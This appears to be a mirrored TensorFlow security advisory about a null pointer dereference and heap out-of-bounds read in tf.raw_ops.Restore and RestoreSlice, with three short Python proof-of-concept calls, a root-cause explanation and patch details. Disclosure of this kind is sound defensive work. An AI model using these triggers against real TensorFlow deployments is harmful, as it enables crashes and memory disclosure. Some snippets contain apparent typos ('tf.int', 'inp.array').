Null pointer dereference and heap OOB read in operations restoring tensors

  • Publicada: 12.08.2021
  • Actualizado: 11.10.2026 13:19

Impact

When restoring tensors via raw APIs, if the tensor name is not provided, TensorFlow can be tricked into dereferencing a null pointer:

python
import tensorflow as tf

tf.raw_ops.Restore(
  file_pattern=['/tmp'],
  tensor_name=[], 
  default_value=21,
  dt=tf.int,
  preferred_shard=1)

The same undefined behavior can be triggered by tf.raw_ops.RestoreSlice:

python
import tensorflow as tf

tf.raw_ops.RestoreSlice(
  file_pattern=['/tmp'],
  tensor_name=[], 
  shape_and_slice='2',
  dt=inp.array([tf.int]),
  preferred_shard=1)

Alternatively, attackers can read memory outside the bounds of heap allocated data by providing some tensor names but not enough for a successful restoration:

python
import tensorflow as tf

tf.raw_ops.Restore(
  file_pattern=['/tmp'],
  tensor_name=['x'], 
  default_value=21,
  dt=tf.int,
  preferred_shard=42)

The implementation retrieves the tensor list corresponding to the tensor_name user controlled input and immediately retrieves the tensor at the restoration index (controlled via preferred_shard argument). This occurs without validating that the provided list has enough values.

If the list is empty this results in dereferencing a null pointer (undefined behavior). If, however, the list has some elements, if the restoration index is outside the bounds this results in heap OOB read.

Patches

We have patched the issue in GitHub commit 9e82dce6e6bd1f36a57e08fa85af213e2b2f2622.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
